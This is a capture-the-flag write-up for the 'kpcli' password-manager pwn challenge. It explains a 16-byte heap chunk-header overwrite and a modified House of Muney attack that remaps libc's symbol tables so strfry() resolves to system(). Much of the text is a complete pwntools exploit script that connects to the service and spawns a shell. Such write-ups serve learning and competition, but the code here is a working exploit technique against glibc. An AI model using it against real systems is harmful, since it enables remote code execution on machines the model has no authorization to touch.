index.md
13 KiB

#kpcli - MntcrlCTF 2026

 · SoloPietro

#Challenge Description

Hi! Here’s the password manager I developed, if you’d like to try it out. Also, if you’re interested, I’ve also exposed the service on my server, just for testing. (Since it’s a trial version, passwords won’t be saved.)

The password is: db_passwd_for_testing!.


#Challenge Overview

Upon startup, the binary accepts three primary command-line operations:

if (!memcmp(argv[1], "db-create", 9) && argv[2]) { create_database(argv[2]); return 0; }
if (!memcmp(argv[1], "db-open", 7) && argv[2])   { open_database(argv[2]);   return 0; }
if (!memcmp(argv[1], "db-rm", 5) && argv[2])     { remove_database(argv[2]); return 0; }
  • db-create: Creates a new database file.
  • db-open: Opens an existing database.
  • db-rm: Deletes a database file.

Once a database is loaded, the application enters an interactive CLI offering the following subcommands:

if (!strncmp(command, "help", 4)) { help_command(command); }
else if (!strncmp(command, "add", 3))      { add_entry(command); }
else if (!strncmp(command, "edit", 4))     { edit_entry(command); }
else if (!strncmp(command, "rm", 2))       { rm_entry(command); }
else if (!strncmp(command, "ls", 2))       { list_entry(); }
else if (!strncmp(command, "show", 4))     { show_entry(command); }
else if (!strncmp(command, "generate", 8)) { generate(command); }
else if (!strncmp(command, "clear", 5))    { clear_screen(); }
else if (!strncmp(command, "close", 5))    { quit(); }
else if (!strncmp(command, "exit", 4))     { quit(); }

In short:

  • add: Adds a new entry.
  • edit: Modifies an existing entry.
  • rm: Removes an entry.
  • ls: Lists all entries.
  • show: Displays the details of a specific entry.
  • generate: Generates a random password.
  • clear: Clears the terminal screen.
  • close / exit: Exits the program.
  • help: Displays help and extra option usage for individual commands.

Entries are serialized and saved to disk using a secure implementation of AES. The ultimate goal of this challenge is to achieve Remote Code Execution (RCE).


#Vuln

The core vulnerability resides in the edit_entry() function when handling the URL flag (case 3):

case 3: // URL
    memset(entry_arr[idx].URL, '\0', sizeof(entry_arr[idx].URL));
    memcpy(entry_arr[idx].username - 0x10, value + 1, 0x10);
    break;

Instead of writing data into the URL buffer, the function performs a memcpy to entry_arr[idx].username - 0x10. Since username points to a dynamically allocated buffer on the heap, username - 0x10 directly targets the heap chunk header (metadata) of the username allocation. This grants a 16-byte out-of-bounds write, allowing us to corrupt chunk metadata (such as the chunk size and flags) with controlled user data.

To exploit this corruption, we need control over the heap layout. The edit_comment() helper function provides ideal heap manipulation primitives:

  • Arbitrary Allocation Size: It accepts a user-controlled requested_size up to INT_MAX, calling malloc() with arbitrary sizes.

  • Free Primitive: It calls free(entry->comment) after allocating the new comment, allowing us to trigger free() operations on demand.

By leveraging edit_comment(), we can allocate arbitrary chunk sizes and trigger allocations or deallocations at will, giving us full control over heap layout grooming to exploit the chunk header corruption.


#Exploit

There are two primary approaches to exploit this vulnerability:

  1. Heap Manipulation: Using the URL out-of-bounds header overwrite to manipulate standard heap metadata, constructing an exploit chain leading to FSOP (File Stream Oriented Programming) or ROP.
  2. Large Allocation Overlap (House of Muney): Leveraging large allocations and mmap chunk header corruption.

Given the capability to allocate large chunks alongside metadata corruption, we opted for a modified House of Muney approach.

House of Muney is traditionally a leakless attack technique against mmap allocated chunks that allows overwriting read-only sections or dynamic linker/symbol structures within libc.

In modern glibc versions, standard House of Muney often fails due to overlap with Thread-Local Storage (TLS). Corrupting TLS during the allocation overlay breaks internal thread structures, causing the main process thread to crash immediately.

To bypass this restriction, the environment is launched with specific glibc tunables in run.sh:

TUNABLES='glibc.rtld.nns=1:glibc.rtld.optional_static_tls=0'

Disabling optional static TLS and configuring link namespaces prevents TLS structures from interfering with our overlapped mapping.

Since House of Muney operates on relative offsets within the mmap mapping space, it is entirely leakless. We can construct our fake GNU hash table and symbol table structure (Elf64_Sym) offline without needing prior address leaks:

import ctypes
from pwn import *

...

OVERLAP_CHUNK_SIZE = 0x300000
LIBC_BASE_FROM_OVERLAP = 0x2ec000 - 0x10

class Elf64_Sym(ctypes.Structure):
    _fields_ = [
        ("st_name",  ctypes.c_uint32),
        ("st_info",  ctypes.c_uint8),
        ("st_other", ctypes.c_uint8),
        ("st_shndx", ctypes.c_uint16),
        ("st_value", ctypes.c_uint64),
        ("st_size",  ctypes.c_uint64),
    ]

def put_qword(buf, off, value):
    buf[off:off + 8] = p64(value)

def put_bytes(buf, off, data):
    buf[off:off + len(data)] = data

def build_overlap_payload():
    gnu_bitmask_offset = 0x4598
    gnu_bucket_offset = 0x5598
    gnu_chain_zero_offset = 0x6508
    symbol_table_offset = 0xf8a0

    hash_value_offset = 0x8f
    bucket_value_offset = 0x146

    hash_value = 0x40d0708030098495
    bucket_value = 0x414
    chain_zero_value = 0x9a1ccddb1c93a3ce

    # Target symbol spoofing setup
    sym = Elf64_Sym()
    sym.st_name = 0x3286
    sym.st_info = 0x12
    sym.st_other = 0x00
    sym.st_shndx = 0x000e
    sym.st_value = 0x53910  # Address offset for system()
    sym.st_size = 0x106

    payload = bytearray(OVERLAP_CHUNK_SIZE)

    hash_off = LIBC_BASE_FROM_OVERLAP + gnu_bitmask_offset + (hash_value_offset * 8)
    bucket_off = LIBC_BASE_FROM_OVERLAP + gnu_bucket_offset + ((bucket_value_offset // 2) * 8)
    chain_off = LIBC_BASE_FROM_OVERLAP + gnu_chain_zero_offset + ((bucket_value // 2) * 8)
    sym_off = LIBC_BASE_FROM_OVERLAP + symbol_table_offset

    put_qword(payload, hash_off, hash_value)
    put_qword(payload, bucket_off, bucket_value)
    put_qword(payload, chain_off, chain_zero_value)
    put_bytes(payload, sym_off, bytes(sym))

    return bytes(payload)
    

For convenience and state predictability, we clear any pre existing database entries and reinitialize fresh entries:

# init db
r.sendline(b"rm a")
r.sendline(b"rm b")
r.sendline(b"rm c")
r.sendline(b"rm d")
    
r.sendline(b"add a")
r.sendline(b"add b")
r.sendline(b"add c")
r.sendline(b"add d")

r.sendline(b"edit d -c")   
r.sendline(b"1")   
r.sendline(b"a")

We allocate large chunks (edit_a and edit_b) via mmap. Next, we trigger the URL bug in edit_c to overwrite the chunk metadata of b, inflating its size header to tot_size | 2 (setting the IS_MMAPPED flag):

tot_size = 0x100000 + 0x100000 + 0x15000

edit_a = b"edit a -u " + b"A" * (0x100000 - 0x20)
edit_b = b"edit b -u " + b"B" * (0x100000 - 0x20)
edit_c = b"edit b -URL A" + p64(0x0) + p64(tot_size | 2)

r.sendline(edit_a)
r.sendline(edit_b)
r.sendline(edit_c)

By freeing b (rm b), glibc unmaps the corrupted range. We then call edit_comment on c to allocate a matching large size (0x300000), reclaiming the unmapped space. This maps directly over libc symbol resolution tables, allowing us to write our crafted payload:

r.sendline(b"rm b")
r.recvuntil(b"Entry deleted successfully")

r.sendline(b"edit c -c")
r.recvuntil(b"Comment size: ")
r.sendline(str(len(payload)).encode())
r.recvuntil(b"Comment: ")
r.send(payload)

Our payload spoofed the GNU hash resolution entry for strfry(), redirecting its resolve pointer to system().

The generate command invokes strfry(value) internally. Since strfry is infrequently used elsewhere, hijacking it guarantees high reliability without triggering premature crashes before popping a shell:

# Triggers strfry("/bin/sh") -> resolves to system("/bin/sh")
r.sendline(b"generate -p /bin/sh")
r.interactive()

Full exploit:

#!/usr/bin/env python3
from pwn import *
from time import *
import argparse
import ctypes

parser = argparse.ArgumentParser()
parser.add_argument("--local", action="store_true", help="Esegui in modalità locale")
parser.add_argument("--debug", action="store_true", help="Esegui in modalità debug")
args = parser.parse_args()


HOST = os.environ.get("HOST", "localhost")
PORT = int(os.environ.get("PORT", "5000"))

ssl = False
if PORT == 443:
    ssl = True

exe = ELF("../remote/kpcli")
libc = ELF("../remote/lib/libc.so.6")
ld = ELF("../remote/lib/ld-linux-x86-64.so.2")

#rop = ROP(exe) #rop.find_gadget(["ret"])[0]

context.aslr = True 
context.binary = exe
context.terminal = ['tmux', 'split-window', '-h', '-b']
context.log_level = 'error'

exe.address = base = 0x555555554000 if not context.aslr else exe.address


gdbscript =\
            """
                i b
            """
      
def conn():
    if getattr(args, "local", False): 
        print("...MODALITA' LOCAL...")
        r = process([exe.path.strip(), "db-open", "../remote/db-test"], stdin=PIPE, stdout=PIPE, stderr=PIPE, env={"GLIBC_TUNABLES": "glibc.rtld.nns=1:glibc.rtld.optional_static_tls=0"})
    
    elif getattr(args, "debug", False):  
        print("...MODALITA' DEBUG...")
        r = gdb.debug([exe.path.strip(), "db-open", "../remote/db-test"], gdbscript=gdbscript, env={"GLIBC_TUNABLES": "glibc.rtld.nns=1:glibc.rtld.optional_static_tls=0"})

    else: 
        print("...MODALITA' REMOTE...")
        r = remote(HOST, PORT, ssl=ssl)

    return r

decode_ptr = lambda ptr, offset=0: (mid := ptr ^ ((ptr >> 12) + offset)) ^ (mid >> 24)
encode_ptr = lambda pos, ptr: (pos >> 12) ^ ptr

OVERLAP_CHUNK_SIZE = 0x300000
LIBC_BASE_FROM_OVERLAP = 0x2ec000 - 0x10

class Elf64_Sym(ctypes.Structure):
    _fields_ = [
        ("st_name",  ctypes.c_uint32),
        ("st_info",  ctypes.c_uint8),
        ("st_other", ctypes.c_uint8),
        ("st_shndx", ctypes.c_uint16),
        ("st_value", ctypes.c_uint64),
        ("st_size",  ctypes.c_uint64),
    ]


def put_qword(buf, off, value):
    buf[off:off + 8] = p64(value)


def put_bytes(buf, off, data):
    buf[off:off + len(data)] = data


def build_overlap_payload():
    gnu_bitmask_offset = 0x4598
    gnu_bucket_offset = 0x5598
    gnu_chain_zero_offset = 0x6508
    symbol_table_offset = 0xf8a0

    hash_value_offset = 0x8f
    bucket_value_offset = 0x146

    hash_value = 0x40d0708030098495
    bucket_value = 0x414
    chain_zero_value = 0x9a1ccddb1c93a3ce

    sym = Elf64_Sym()
    sym.st_name = 0x3286
    sym.st_info = 0x12
    sym.st_other = 0x00
    sym.st_shndx = 0x000e
    sym.st_value = 0x53910
    sym.st_size = 0x106

    payload = bytearray(OVERLAP_CHUNK_SIZE)

    hash_off = LIBC_BASE_FROM_OVERLAP + gnu_bitmask_offset + (hash_value_offset * 8)
    bucket_off = LIBC_BASE_FROM_OVERLAP + gnu_bucket_offset + ((bucket_value_offset // 2) * 8)
    chain_off = LIBC_BASE_FROM_OVERLAP + gnu_chain_zero_offset + ((bucket_value // 2) * 8)
    sym_off = LIBC_BASE_FROM_OVERLAP + symbol_table_offset

    put_qword(payload, hash_off, hash_value)
    put_qword(payload, bucket_off, bucket_value)
    put_qword(payload, chain_off, chain_zero_value)
    put_bytes(payload, sym_off, bytes(sym))

    return bytes(payload)

def main():
    r = conn()

    tot_size = 0x100000 + 0x100000 + 0x15000 # 15000 can be change in remote
    edit_a = b"edit a -u " + b"A"*(0x100000 - 0x20)  
    edit_b = b"edit b -u " + b"B"*(0x100000 - 0x20)  
    edit_c = b"edit b -URL A" + p64(0x0) + p64(tot_size | 2)
    payload = build_overlap_payload()

    r.sendline(b"db_passwd_for_testing!") #password

    # init db
    r.sendline(b"rm a")
    r.sendline(b"rm b")
    r.sendline(b"rm c")
    r.sendline(b"rm d")
    
    r.sendline(b"add a")
    r.sendline(b"add b")
    r.sendline(b"add c")
    r.sendline(b"add d")

    r.sendline(b"edit d -c")   
    r.sendline(b"1")   
    r.sendline(b"a")

    #init exploit
    r.sendline(edit_a)
    r.sendline(edit_b)
    r.sendline(edit_c)
    r.sendline(b"rm b")
    r.recvuntil(b"Entry deleted successfully")

    r.sendline(b"edit c -c")
    r.recvuntil(b"Comment size: ")
    r.sendline(str(len(payload)).encode())
    r.recvuntil(b"Comment: ")
    r.send(payload)
    r.sendline(b"generate -p /bin/sh")

    r.interactive()

if __name__ == "__main__":
    main()

~SoloPietro